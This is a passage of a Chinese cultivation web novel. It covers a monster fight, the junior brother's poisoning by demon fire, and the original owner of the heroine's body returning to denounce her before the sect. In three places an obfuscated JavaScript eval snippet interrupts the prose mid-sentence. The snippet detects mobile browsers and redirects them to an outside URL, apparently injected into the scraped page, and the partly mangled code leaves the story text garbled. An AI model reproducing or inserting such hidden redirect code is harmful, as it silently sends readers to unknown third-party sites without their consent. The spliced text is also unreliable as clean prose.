几人一惊,坐直身子不安地环顾四周。 黑暗中突兀地响起利刃出鞘的声音,雪亮的光晃过其中一人的眼睛。 “啊——” 惨叫声响起。 “谁?!” 几人举起刀剑,对着无边的黑暗厉声喝道。 无人应答。 他们散出神识探查,却恐惧地发现根本捕捉不到来人的踪影。 来人并不急于取他们性命,仿佛猫捉老鼠般时不时从身后一晃而过,雪亮的剑光仿佛随时会割破他们的喉咙。 接二连三的惨叫不时响起。 直到最后一声尖叫消散在夜色中,林中重新恢复了寂静。 杨之曜一手拎一个,往返几趟后将他们全丢去了不远处的山巅。 在溪边洗净双手,他才不紧不慢地往回走。 突然,他脚步一顿,他们歇脚的那棵古树下倚着一个人影。 迟渊吐掉嘴里叼着的草,不满地说:“要收拾人也不叫我一声,就爱自己出风头。” 杨之曜好笑:“就这么几个人,哪里敢劳烦迟大公子出手?” 迟渊有些稀奇:“没想到我们光风霁月的杨师兄,也会趁着夜黑风高去杀人?” 杨之曜耸耸肩:“只是看他们精力挺好,让他们躺上几天,休息休息,倒也没取他们性命。” “在这秘境里几天不能动弹,跟等死有多大区别?” “那就要看他们的命了。”杨之曜有些凉薄地笑了笑,“说了不该说的话,自然要承担相应的后果。” 迟渊啧啧称奇:“相识这么多年,没看出来你藏的还挺深啊,那我是不是也该提防着点?” 杨之曜意味深长地看了他一眼:“你知道的,只要不触碰我的底线,自然是无碍的。” 仿佛心底藏着的那点心思被看穿,迟渊有些不自然地笑了笑,打了个哈哈糊弄过去:“那我可得安分守己啊哈哈。” 次日清晨,林子满坐在树干上伸了个大大的懒腰,有些疑惑地问:“那些人什么时候走的,我怎么一点动静都没听到?” 杨之曜递给她几个洗净的野果,淡淡地瞥了一眼迟渊:“估摸着是今晨早些时候走的吧,迟渊布下了结界,我也没听到他们离开的动静。” 迟渊:“???” 他布置的结界明明是单向的,只将他们的声音阻拦在内,并未隔绝外界的动静! 但看着杨之曜的眼神,他只能强行背下这个锅:“我这不是想着这样安静些,大家都能好好休息一夜。” “你就这么娇气?”林子满不可思议地看着他,“这毕竟还是在秘境里,怎么能贪图那一夜好睡?” 杨之曜附和道:“是啊,这样做还是不妥,有危险靠近都察觉不到,以后还是莫要这般贪图享乐了。” 迟渊一口老血卡在喉咙里,心里十分委屈,只能幽怨地瞪着杨之曜。 行,你清高,你不把我的命当命,你的良心不会痛吗?! 有把柄握在别人手里,他再气得跳脚也得忍着,只能找个没人的角落对着树干一顿猛捶,以此发泄自己的愤怒。 这日,天自晨起便阴沉沉的,似有大雨将倾。 迟渊抱怨着走在前头:“又要下雨了,真是烦人,这几天怎么回事,雨下个没完没了啊?” “天晴你要说晒,下雨你又嫌烦,你可真难伺候。”林子满有些无语,“天天怨声载道的,路过的风都要被你骂两句,你这是得什么疯病了?” “天天跟你们在一起能不疯吗?”迟渊十分理直气壮。 正闹腾着,一声哀嚎从灌木丛里传来。 三人一顿,互相交换了个眼神,持剑护于身前,谨慎地往那边靠近。 只见林中空地处,一头形似山羊的妖兽正在生产。 母羊身旁已经有一只小羊在摇摇晃晃地学着走路,但它的肚子依旧圆润,里面还有一头小羊,看样子情况不太妙。 它哀嚎着,焦躁地用前蹄刨着地面,使劲全身力气挣扎着。 这还是林子满第一次目睹生命是怎样诞生的,即便只是一头普通的妖兽,也让人十分震撼。 她看着痛苦的母羊,忍不住紧张起来,在心里默默为它祈祷。 好在母羊的努力没有白费,随着它猛地一个用劲,一只包裹着胎衣的小羊落在了地上,挣扎着咩咩叫起来。 林子满松了口气,忍不住笑起来。 杨之曜跟着她笑:“有这么高兴吗?” 林子满点点头:“生命真的很神奇、很伟大。”脆弱又坚韧。 站在一旁看了会儿,他们刚打算离开,就听见母羊焦躁地叫了起来。 只见它一边叫一边用蹄子踢着刚出生的小羊,时不时还用嘴去咬。 “怎么回事?”林子满眉心一蹙。 “它应该是在催促那孩子站起来。”杨之曜解释道,“我年幼时曾在农庄里见过母羊产子,听农庄管事说过,母羊生下小羊以后会催促它们尽快站起来,若太久没站起来便会踢咬。” “若是小羊一直没站起来呢?” 杨之曜默了默,而后轻声道:“那它就会被抛弃。” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902838|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”林子满有些错愕地瞪大眼,好不容易生下来,就因为没站起来就要被抛弃吗? “站不起来的小羊,往往存在先天不足,不易生存下去。” 抛弃不易存活的孩子,是它们的天性,是残酷的生存法则。 时间一点点过去,母羊已经渐渐失去耐心,那头小羊依旧跪趴在地上,挣扎着,摇晃着,却始终没站起来。 不远处传来了其他妖兽的嗥叫声,像是被血腥味吸引,正在往这边靠近。 母羊又催促了几遍,小羊依旧没能成功。 终于,母羊做出了决定。 它唤上另一个孩子,越过灌木丛,朝着密林深处跑去。 剩下的那头小羊哀叫着向前爬动,想要追上母亲的脚步,却不过是徒劳地挣扎。 “有东西过来了。”杨之曜朝着兽嗥传来的方向望去。 林子满看着那只孤零零的小羊,仿佛看见了那个被扔进垃圾桶的自己。 只因为没有健康的身体,就要被抛弃吗? 它甚至还没感受过阳光的温暖,没好好地看一看这个世界,就成了母亲留给其他妖兽的盘中餐。 林子满走上前去,将那头雪白的小羊抱了起来。 小羊在她的怀里咩咩地叫着,亲昵地蹭着她的脖颈。 它的叫声明明那么嘹亮,心跳明明那么有劲,却被母亲判处了死刑。 “——吼!” 巨大的吼声伴随着树木被撞断的“噼啪”声传来,那头妖兽已经来到了他们附近。 “先离开这儿。” 杨之曜接过林子满怀里的小羊,拉着她往前奔去,这里树木高大茂盛,又长得参差不齐,实在不适合御剑。 眼见着就要跑到密林边缘了,那头一直追着他们的妖兽从天而降,断枝残叶落了满地。 巨兽落地激起大片沙尘,迷得人眼都睁不开。 林子满呛咳着挥散眼前的灰尘,就见杨之曜已经提剑攻了上去。 那虎头羊身、背身双翼的妖兽对往自己身上刺来的利剑不闪不避,反而张开血盆大口,用那长长的獠牙往杨之曜身上咬去。 杨之曜手中的剑一落到它的皮毛上便知事情不妙,那绵软又厚实坚韧的毛发化去了剑势,让人感觉一拳打在棉花上,任你再攻势汹汹都无法伤它分毫。 一击不中,杨之曜立刻闪身退开,险险避过那带着腥气的獠牙。 迟渊甩手扔出一把符箓,接连的爆破声在妖兽身边炸响。 虽然它身上皮毛厚如铠甲,头脸却惧于爆破符的威力,怒吼着摇晃着脑袋往后退去。 杨之曜看准时机,趁妖兽不备,飞身跃起,挥剑斩向其面部,剑气凝出道道冰刃,见缝插针地朝着妖兽招呼而去。 那妖兽龇着獠牙左突右闪,终究还是没能躲过那凌厉的剑招,它只感觉眼睛一阵剧痛,随后便是无尽的黑暗。 失去视线的妖兽狂怒地撞击着周围的事物,大片树木拦腰而断。 杨之曜身法灵巧地避开兜头砸下的树枝,手中利剑往前一送,精准地插进妖兽的咽喉。 剑下的妖兽停止了挣扎,巨大的身躯顿在原地,鲜血从那双不甘的兽眼里汩汩而出。 杨之曜刚想抽出剑,就见不远处的林子满忽然变得惊慌失措,急促地呼喊着什么。 “——当心身后!!!” 22. 往事(三) 话音传来,一团阴冷的火焰已经攀上了他的后背。 杨之曜迅速转身,凝出剑气劈散那团青灰色的火焰。 火焰来势并不猛,一剑便散去大半。 但杨之曜却身形一顿,脸色迅速灰败下去,重重跌落在地上,神色痛苦地咳出一口血。 林子满慌忙跑过去扶起他:“师兄,你怎么样?没事吧?你别吓我!” 杨之曜张嘴想说什么,喉咙里却又涌上一股腥甜,呕出一大口血后便昏死过去。 林子满抱紧软倒下来的杨之曜,不断地将灵力送入他的身体,那精纯的灵力却如泥牛入海,没有丝毫作用。 “师兄——” 林子满手足无措地唤着他,输送灵力的手开始颤抖,无尽的恐惧攫住了她的心脏。 她从没见过这样的杨之曜。 她见过的杨之曜向来都是从容不迫的,好像万事都在他的掌控之中,永远都是她最可靠的师兄,最信赖的爱人,永远会在她回头时笑着看她,会在她需要时及时出现。 从未像现在这样,一动不动地躺在她怀里,脸色惨白,怎么呼唤都没有回应。 一次性输送了过多的灵力,林子满的脸色慢慢变白,却咬牙强撑着。 她不敢放下手,脑子里只有一片慌乱。 “你清醒一点!”迟渊按住她的手,盯着她的眼睛厉声道。 林子满蓄满水雾的眼睛眨了眨,茫然地看着他。 “我们先出去,回去以后一定会有办法的。” 迟渊笃定的语气让她稍稍冷静下来,她喃喃道:“对,先出去……出去会有办法的……会有办法的……” 迟渊背起杨之曜,辨认了一下方向:“走吧,我们尽快出秘境。” 林子满偏头看着另外一个地方,是那只小羊逃窜的方向:“你先带他走,我很快便会赶上你们。” 说完便朝着那里追去。 “你小心点!”迟渊阻拦不及,只能任她去追。 一抹白色的身影灵活地窜上窜下,极快地在树林间穿梭,丝毫不见方才那副站不起来的可怜样。 林子满紧紧跟在它身后,丝毫不敢松懈。 待跑到空旷些的地方,林子满迅速御剑而起,一个眨眼的功夫便行至小羊身前,一个利落的甩尾,调转方向直直冲向它。 被逼停的小羊哈出一团雾气,雾气在空中化为青灰色火焰,随风漫向林子满。 林子满掐诀凝出一道结界,如利箭般迅速穿过火焰,一把拎住它的脖子往地上重重一掼! 那小羊倒在地上发出凄惨的悲鸣,配上那双水润无害的眼,看起来真是可怜极了。 林子满无视它的示弱,取出收纳袋毫不留情地将它收入其中。 同样的招数还想使第二次? 林子满冷笑一声,她倒也没蠢到那个地步。 ****** 上阳宗内,杨之曜缓缓睁开了眼睛。 他一动,林子满立马就发觉了,下一刻就扑上来凑到了他跟前,一叠声地问着他感觉怎么样,好点了没有。 杨之曜看着她通红的眼睛,心里一疼,抬手想摸摸她,告诉她自己没事。 但他的手颤巍巍伸到半空,却无力再继续往上,嗓子眼也如刀割一般,无论怎么用力都吐不出一个字眼。 林子满一把握住他的手贴在自己脸上,一边轻轻蹭着,一边柔声低语道:“没事的,你才刚醒,身体有些无力也是正常的,修养几天就好了。” 说着说着,忍不住哽咽起来,这话也不知是在安慰杨之曜,还是安慰她自己。 杨之曜用手指轻轻蹭去她脸颊边的泪珠,无奈地笑笑,怎么还哭起来了呢? 看着他虚弱的笑脸,林子满泪意上涌,大颗大颗的眼泪夺眶而出。 都是因为她,杨之曜才会变成现在这个样子。 昏昏沉沉好几日,杨之曜终于有了些好转,至少能开口说话了,但情况并不乐观,他能清楚地感知到自己的虚弱。 四肢乏力,体内的灵力调动不起来,甚至多说几句话就要喘气。 迟渊扶着他靠坐在床头:“今日感觉如何?好些了没?” “好多了。”杨之曜往门外望了眼,“师妹肯去睡一会儿了?” “再不肯休息林叔就要一掌给她拍晕了。”迟渊拖过一张凳子坐下,“你昏迷的这十多天,她昼夜不歇守着你,谁来劝都不肯听,我多说了几句还给了我几拳,就看我脾气最好欺负我呗。”他揉着颧骨上的青紫嘟囔道。 杨之曜忍俊不禁,忽而想起正事:“那天究竟是怎么回事?我只看见那小羊突然朝我喷了一团火,下意识以灵力护体,却不想一股阴冷随着灵力运转直冲丹田,后面就什么都不知道了。” “那根本不是什么普通的羊,我们都被它的表象骗了。”迟渊叹了口气,“说来也是我们的运气太差了。” “那是上古大妖猼訑和穷其的后代,平时隐于人际罕见之地,以天地灵力为食,却是不折不扣的凶兽。幼兽出生后必须以人为食,才可顺利长大,因此雌兽临近生产之时便会从藏身之地出来。” “雄兽虎头羊身,雌兽与刚出生的幼兽都是寻常白羊的外形,灵力并不如何高强,最擅借着无害的外形迷惑敌人,趁其不备以妖火攻之,那妖火一旦沾上就会迅速顺着经脉直达丹田,不断燃烧宿主体内的灵力,幼兽则可借此吸收灵力。这火一旦入体,就再也不能拔除,直至修士被吸干灵力而亡。这妖兽已有许多年未曾现世,还当早已绝迹了,没想到竟会在得失境里碰到。” “那你们是用了什么法子?”杨之曜问,“不然我现在应该已经灵力衰竭而亡了吧?” “亏得咱们林大小姐将那头幼兽活捉了回来,不然你哪还有醒过来的机会?本来上阳宗与蕉林谷的长老来了个遍,都无一人看得出蹊跷,她又亲自去将时长老请了出来,这才知道那妖兽的来历。”迟渊说着顿了顿,“但即便时长老见多识广,却也不知那妖火的解法,你当时又危在旦夕,只能死马当活马医,将那妖兽杀死以后炼化,还灵力于你。但是……” “但侵入我体内的妖火还是没办法吧?”杨之曜了然。 没有人会比他更了解自己的身体,那阴冷的妖火如附骨之蛆,附着在他每根经脉上,汲取着他的灵力,仿佛永远不会熄灭一样燃烧着。 “你也别太沮丧,时长老说了,将那妖兽的妖丹辅以灵药炼化,应该就能压制你体内的妖火了。”迟渊拍拍他的肩膀,安慰道,“待备齐灵药,我随你一同闭关炼化它。” 杨之曜很嫌弃:“为何你要同我一起闭关,你明明只会添乱。” 迟渊怒道:“蕉林谷少主亲自护法哎!多少人求都求不到的事,你少给我不识好歹!”说着不轻不重捶了他一拳。 杨之曜轻笑着咳了几声,还没来得及说什么,一声怒喝从门口传来—— “迟渊!你干什么呢?!” 林子满一阵风似的冲进来,一把拽下搁在杨之曜身上的那只手,柳眉一竖,怒视迟渊:“他现在是病人,你竟还打他?!” 迟渊十分无辜地举起双手:“我就是开个玩笑,根本没使劲!” “他都咳成这样了!你还说——”林子满的话戛然而止,一只手轻轻捏住了她的指尖。 “真的没事。”杨之曜笑着看她,摇了摇她的手,“我又不是豆腐做的,一戳就碎。” 林子满重重“哼”了一声,暂时放过了迟渊。 “怎么不多睡一会儿,这么快就起来了?”杨之曜拉着她在床边坐下。 “睡不安稳反倒难受,还不如起来。”林子满撇撇嘴,只要她一睡着,梦里都是杨之曜口吐鲜血惨死在她面前的场景,惊醒后满身都是冷汗,这么浑浑噩噩地睡了一阵子,醒来更加头痛欲裂。 杨之曜明白她的担忧,紧了紧握住她的手,安慰道:“时长老不都说了,待我炼化妖丹,就能压制住体内的妖火了,闭关出来我就没事了。” “可这法子以前从未有人试过,是否真的有用根本没法保证。” 杨之曜好笑:“治病这种事,古往今来也不存在什么万无一失的法子,从前没有人试过有什么关系呢?我去做这第一人不就成了?” 林子满急道:“这不一样!你别拿这些话糊弄我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“唉……”林子满故作难过地叹了口气,“那些景象我都只在书中读过,从没亲眼看过,我这从未出过上阳宗的人,见识自然是跟你这侯府世子比不了的。” 见她垂头不语,神色黯然,杨之曜有些无措,随后笨拙地安慰道:“这有什么大不了的,等十岁之后你就能出门了,到时候我陪你去看。” “真的吗?”林子满怀疑地看着他。 杨之曜气恼:“我还能骗你不成?” 林子满:“那我要看遍整个修真界的美景你也陪我吗?” 杨之曜:“自然。” 林子满:“再加上凡间呢?” 杨之曜:“也陪你。美景也好,平平无奇的小土坡也罢,哪怕是臭烘烘的猪圈,你想去都陪你。但先说好,你若真想看猪圈,我只会远远陪着你,我可不会凑近的。” 林子满莫名其妙:“谁会想看猪圈啊,我才不看。” “那就好,我还当你会想去摸一摸。”杨之曜松了口气。 林子满无语:“我好歹也是个女孩子,为什么会想去摸一摸猪?” “我在凡间的时候有个小表妹,第一次见着猪时,非要去摸一摸,看见猪仔吃奶时还想凑到母猪肚子上跟着吃,我还当女孩子都是这样。”杨之曜诧异,“原来竟不是吗?” 林子满忍住给他头上来一拳的冲动,尽量心平气和地说:“若我没猜错,你那小表妹应该至多三四岁吧,她想摸猪是因为她是个小!孩!子!不是因为她是个女孩!没有哪个懂事了的女孩会想着跟猪仔抢奶吃的!” 杨之曜很无辜:“我又不是女孩子,我怎么知道?” 可你好歹是个人啊!难道你觉得正常人会干得出这种事吗?!林子满在心里翻了个大大的白眼。 当时她以为未来可以走遍天下,看尽这世间风光。 可是后来啊,她能随意离开上阳宗了,肩上的责任却随着成长逐渐增多,她忙着修炼,忙着学习打理宗门事务,忙着当一个合格的上阳宗少主,外出游历的时间越来越少。 少时遥远的愿望再次被提及,有种恍若隔世的感觉。 林子满忍不住笑了笑:“那我下次非逼着你去摸猪不可。” 看她终于肯笑了,杨之曜嘴角微微上扬:“陪你摸一两次也不是不行。” 23. 往事(四) 用以辅助炼化妖丹的灵药虽难寻,好歹是在月底备齐了。 杨之曜闭关那天天气很好,春风愈发暖和,扑面而来都是一股暖意。 林子满将他送入后山洞府,絮絮叨叨地叮嘱了许多事。 杨之曜耐心地听她一桩桩说完,有些好笑地摸摸她的头:“有迟渊陪着我呢,不会出事的。” “没错,有我全程护法,定然不会出问题的。”迟渊也在一旁安慰,想了想,又从袖子里摸出一枚灵符递给她,“喏,这个传音符给你,每日情况如何我都会告诉你的。” 林子满接过传音符,攥在手里,有些犹豫地说:“不知道为什么,我最近总有些心慌。” “别怕,少则七日,多则十日,我便出关了。”杨之曜将她拥到怀里,轻声安抚。 林子满埋首在他的肩头,嗅着他身上淡淡的草木清香,声音闷闷的:“师兄,你一定要平安出来。” 杨之曜承诺:“一定会的。” . 午后,林子满懒懒地趴在桌上,无精打采地把玩着手中的传音符。 忽的,一道白光自灵符表面闪过,林子满精神一振,迫不及待往其中打入一道灵力,迟渊的声音从里面传出—— “今日也是一切顺利,估摸着再有五日就能大功告成了。要不然怎么都说咱们杨师兄天赋异禀呢?瞧瞧这对灵力的把控,可真是让我大开眼界啊!来,咱们的天之骄子杨师兄来讲两句?” 杨之曜笑骂道:“你一天天的能不能少贫两句?” 随后语气一转,带着笑意的声音在林子满的耳边响起:“师妹,你今日可还好?可曾遇到什么烦心事?我们一切顺利,你不必忧心。” 林子满挥指注入另一道灵力:“师兄,我一切都好,不必挂念。” 她想了想:“烦心事倒是有一件,昨日我又听说了一处好地方,山水秀美,那里的人还会一种做法很奇特的汤,味道极鲜美,馋得我一晚上没睡好,等你出关以后,我们一起去吃?” 传音符上的光芒渐渐消散,林子满摩挲了好一阵才念念不舍地收入储物镯内。 这传音符是迟渊不久前琢磨出来的,与一般传音符不同,不受空间限制,只需使用者各持一枚,注入灵力便可互相传音,十分方便,唯一美中不足的便是一天只能用一回。 她怕打搅到杨之曜静修,心里又总有些担忧,便日日都守着传音符,等互道平安后才能安心去做其他事。 刚收好传音符,便有小弟子前来通传,说是各大门派的代表皆到了,宗主让她过去一起商议今年大比的相干事宜。 五年一次的仙门大比,今年轮到上阳宗做东。 林征这次想让她全权负责,一来可以锻炼她的能力,二来也是告诉整个修真界,林子满作为上阳宗少主,已经开始慢慢接手宗内事务了。 议事堂中,林征坐于首位,下方围坐着各大门派的宗主及长老。 林子满站在林征身旁,从容不迫地讲起了自己对此次大比所做的安排。 林征听完点点头,看起来颇为满意,底下的人也都附和着庆贺他后继有人。 “此外,我还有个提议,不知诸位怎么看。”林子满的话却还没完,“借大比拜师,本意便是想破除各宗门之间的隔阂,让大家能有机会修习自己感兴趣且擅长的术法,但历次仙门大比,都只有排名前二十的门派可以参加。所有我在想,是不是可以放开仙门大比的限制,让整个修真界的修士都有机会参与?” “整个修真界?林少主莫非是在开玩笑?”有人嗤笑出声,“若那些小门小派都能参加,谁知道里面有多少心怀不轨之人?若学了我们门内的法术出去作恶,又该算在谁头上?” 林子满不卑不亢:“个人品行并不是由出身门派决定的,小门派里不都是恶人,大宗门里也非全是好人。况且,拜师与收徒本就是双向选择,各位长老收徒之前自然可以对弟子多加考量。” 一位须发皆白的老道沉吟道:“我觉得有理,据我所知,不少小门派里也有精妙的道法,却没有机会被发扬光大,实为憾事。” “那是人家门派的家务事,与外人何干?”先前那人依然反对,“再说了,他们哪里需要我们操心,近几年那些小门小派,不也联合起来学我们弄了个什么摘花会吗?虽然不伦不类,倒也很符合他们的身份。” “既如此,何不将仙门大比与摘花会结合起来?这样双方都有更多选择的机会。” 林子满还是想说服大家,毕竟借着仙门大比求得拜师机会,是从前她与杨之曜一起商讨出来的,一起推动实施的。 她想让这个计划得到更好的发展,让每个人都能有机会修习适合自己的术法,不再困囿于一门之中。 她知道这有些理想化,但她还是想尽自己最大的努力。 “林少主这么为他人考虑,可真是慈悲心肠,是个大善人啊!既如此,我有一惑,不知少主可愿意替我解一解?”一道女声传来。 林子满疑惑地看去,只见一个衣着朴素的妇女走出人群,瞧着大概四十来岁,周身没有一丝灵力流转,竟是个凡人。 林征眉头微皱,仙门大比五年举行一次,涉及到各派弟子的未来,照理来说参与商议的都是有份量的人,为何会有凡人出现在这里? 他看向带她来的人,是那位一直不同意林子满提议的长老。 林子满看着眼前陌生的妇人,在脑海里仔细搜寻了一遍,找不到丝毫与她相关的记忆,她确实是不认得眼前这人的。 “慈悲不敢当,不知阁下所说的解惑是何意?”虽然不解,林子满还是礼貌地回答了她。 “其实也没什么,我就是想问问你……”那妇人一步步走上前,死死盯着她,“你真的是林芷满吗?” 众人听着这话都是一愣,不明所以地看着她们,这话是什么意思?难不成林少主还能是别人假扮的? 林子满亦是不解,那妇人冷笑一声:“你若是林芷满,那我是谁?” 林子满一愣,随后便如当头一棒,猛地反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902840|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,脸色刷地变得惨白。 当了几十年的林芷满,她已经渐渐遗忘一个事实——她并不是真正的林芷满,她只是占用了别人的身体。 她不是没想过真正的林芷满去了哪里,可她根本无从查起,重生在别人身上这件事太荒谬,根本没有人会信。 她只能安慰自己,既来之则安之,既然找不到真正的林芷满,那就替她好好活着。 可如今,真正的林芷满出现在她面前,质问她为何占用了自己的身体,她根本不知道如何回答。 见林子满一动不动地呆站着,林征开口唤道:“小满?这是怎么回事?你们认识?” “认识倒也算不上,但鸠占鹊巢的人见到正主,总该认得出来的。” 妇人的话犹如一石激起千层浪,议事堂内响起一片嗡嗡声,底下的人交头接耳,窃窃私语。 林征语气肃穆了几分:“你这妇人休要胡言乱语。” “我这妇人?呵呵……妇人……”那女人癫狂大笑起来,笑着笑着却落下大滴眼泪,“爹爹……我找了几十年,才找到回家的路,一回来,却要听你说‘你这妇人’……爹爹,你说过,我跟阿娘是你在这世界上最重要的人,你根本不想当什么宗主,最大的心愿就是我们一家三口能找个地方隐居,那为什么……为什么你连我都认不出来?!为什么你要为了那个抢占我身体的邪魔歪道,指责我胡言乱语?!” 林征面上不显,心里却如掀起惊涛骇浪,这些话他只在私下里说过,她是怎么知道的?难道她真的…… 他犹疑地看向林子满:“小满,这、这究竟是怎么回事?” 林子满张口想要解释,却不知道从何说起,说她也是无辜的吗? 可这话连她自己都不信,毕竟她虽不是什么邪魔歪道,却实打实地占据了别人的身体,用着别人的身份活了这么些年。 看着林子满无措的眼神,林征意识到事情的严重性,他转向议论纷纷的众人,顶着他们探究的目光开口:“诸位宗主、长老,大比之事已经商议的差不多了,只剩一些细节还需敲定,上阳宗已为各位备好了客房,还请诸位先回去稍作休息,未定之事明日我们再谈。” 底下的人互相对视几眼,都很识趣地准备告退,那位长老却上前一步:“林宗主,这妇人语出惊人,像是还涉及到夺舍这类邪修妖法,这事关修真界安危,难道不该让大家一起留下来听个原委吗?” 林征冷冷地看着他:“长老这是何意?是在说我上阳宗与邪修勾结?” “不敢不敢,只是这毕竟——” “这是我上阳宗的家事,就不劳长老费心了。”林征冷声道,“长老也不会希望上阳宗去插手神意门的宗内事务吧?” 听出他语气里的威胁,那人不甘地瞪着一双眼,却也无计可施,只能不情不愿地退后几步,冷哼一声甩袖离开。 待到人都走光,议事堂的大门重重合上。 一片寂静中,林征语气凝重地开口:“说吧,这究竟是怎么回事?” 24. 往事(五) 无人回答他的问题,三人相对无言。 林子满是不知道该从何说起,林芷满则是一脸怨恨地盯着她,像是在看她会如何狡辩。 “吱嘎——” 一声推门声打破僵局。 “小满!”周芜急匆匆地赶来,快步走到林子满身边,拉住她的手上下打量了一遍,焦急问道,“我刚刚听外面的人都在议论,说你出事了,你没事吧?啊?伤着哪儿了吗?” 面对她的关心,林子满垂下了头,不敢看她的眼睛,嗫嚅道:“……阿娘,我没事。” “你还有脸叫她娘!”林芷满厉声喝道,“她是你娘吗?!” 周芜不解地看看她又看看林征:“这位是?” 不待旁人出声,林芷满已经一头扑进她怀里,像是再也忍耐不住,搂着她的腰放声大哭:“阿娘!是我啊!我是小满啊!阿娘,你知道我这些年有多想你吗?我一直在等你们来接我啊……阿娘……为什么,为什么你们一直都没来找我……” 周芜惊疑不定地看着怀里的人,手足无措地看向林征:“阿征,这是怎么回事?” 林征沉默不语,他也不知道该如何向她解释这一切。 她只能转头看向林子满:“小满,这——” 话刚出口就被打断。 “她不是小满!她不是!我才是!我才是你们的女儿啊!!” 林芷满一把推开周芜,指着林子满恶狠狠道:“她是抢了我身体的邪魔歪道啊!!!” 林子满张张嘴,却无法反驳,只能轻声说了一句:“我不是邪魔歪道。” “你不是邪魔歪道?呵。”林芷满冷笑一声,“你不是邪魔歪道为什么会在我的身体里?你不是邪魔歪道你是谁?!” “我出生时,祖父就看出我魂魄不稳,极易被邪魔侵体,因此勒令我十岁之前不许出上阳宗,就是怕心怀不轨之人偷梁换柱,抢了我的身体。” “可是我六岁那年意外落水,醒来却成一个农户家的幺女。你是那个农户的女儿吗?不是吧,区区一个农家女,哪有这等能耐?况且,你若真是她,早就去将我杀了,以防止事情败露。所以只有一个可能,你是早有预谋,修炼邪术,趁我昏迷不醒抢占我的身体!” 林子满苦笑一声,现如今她该怎么解释?说她是另一个世界的人吗?这话谁会信呢? “你知道我这些年是怎么过的吗?”林芷满见她无可辩驳,露出一抹果然如此的冷笑,“你在上阳宗锦衣玉食的时候,我只能吃着糟糠睡柴房。白天要下地做农活,晚上还要给那一大家子人煮菜做饭、缝补衣裳,女儿在他们那里就是个赔钱货,恨不得早早卖给人家省口粮食。那些蝼蚁般的凡人把我当仆役一般呼来喝去,稍有不顺心,还要打骂我出气!” “我好不容易才逃出来,我想回家,却不知道家在哪里,我根本找不到回修真界的路!” “这具身体没有灵根,无法修炼,不吃东西就会饿,你知道那种饿得心慌的感受吗?饿的你什么都顾不上,什么脸面,什么尊严,在饥饿面前屁都不是!别说乞讨了,跟人抢食,跟狗抢食我都做过!” “好不容易……好不容易有一次,我遇到了来凡间历练的人,我以为我终于能回家了。” “我欣喜若狂地冲上去,告诉他们我是林芷满,是上阳宗的少主,我爹是林征,求他们带我回去。结果呢?他们像看疯子一样看我,说林姑娘好好地待在上阳宗,前几天还在林宗主的寿宴上见过,林姑娘天人之姿,哪里是随便一个丑八怪都能冒充的?” “哈哈哈哈哈——”她大笑起来,“你若是林姑娘,那我是谁?” “我四处漂泊,一步步往上爬,历尽千辛万苦,才找到一个相信我的话,愿意带我回修真界的人,才终于能在今天,回到这个属于我的家。”她一步步逼近林子满,“来看看这个霸占了我身体的人,过得有多幸福!” 话落,死一般的寂静弥漫在议事堂内。 周芜难以置信地听着这一切,她怎么也不能相信,自己疼爱了几十年的人,竟是抢了女儿身体的人,而真正的女儿却在凡间尝尽苦难。 她愣在原地,像是没反应过来,看看仍旧愤愤的林芷满,又看看低头不语的林子满,脚步虚晃了晃,最后将求助的目光投向了林征。 林征走过来扶住她,安抚地拍了拍她的肩,而后沉声问林子满:“她说的是真的吗?” 这没什么好辩驳的,林子满微微点头,随后又轻轻补充了句:“但我真的不是什么邪魔歪道。” 但这句解释实在是苍白无力,转瞬便消逝在这无风的大殿里。 见她点头承认,周芜像是想起了什么,终于反应过来:“怪不得那年你明明是落水,根本没伤到头,醒来却说自己失忆了。原来是这样,原来竟是这样!一切都是你装的,从那时候起你就是假的了!” 她情绪失控地扑上来,抓住林子满的手臂,质问她:“为什么?你到底为什么要这么做啊?!我疼爱了几十年的女儿,到头来是害了我小满的人!这几十年来,你当真一点都不会愧疚吗?你就这么心安理得地享受着不属于你的一切吗?!” 尖锐的指甲透过衣衫挖进肉里,林子满感受着手臂上传来的阵阵刺痛,就在不久前,这双手还焦急地握着她,手的主人还在担忧地询问她是否受了伤。 不过片刻,温情的担忧变成了怨恨的质问。 她从未见过这样失态的周芜,从未在那双总是含着淡淡笑意的眼眸里看到如此浓厚的恨意,林子满惶惶然移开视线,不敢再看那双眼睛。 她怎么可能会不愧疚呢?怎么可能心安理得呢?她清楚地知道那拳拳爱子之心是对谁的,可还是忍不住贪恋那种温暖,自欺欺人地告诉自己,她也是有家的人了。 现如今,美梦破碎,她也该醒了。 “……小满, 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满室寂静,只余周芜的抽泣声。 “阿征,不行,不能让小满死!她吃了那么多苦头,好不容易才回到我们身边,我不能再失去她一次了!”她泪眼盈盈地看着林征,急得连连摇头。 林征犹豫片刻:“易魂这等邪术只在古籍中有记载,现如今根本无人会用,就算想这样做也没有法子。 “那换丹呢?”林芷满定定地看着林征,“神意门有位孙长老,独创了一门秘术,可以将一人的金丹换到其他人身上。神意门好歹也是名门大派,总不至于说那换丹之术也是邪术吧?” 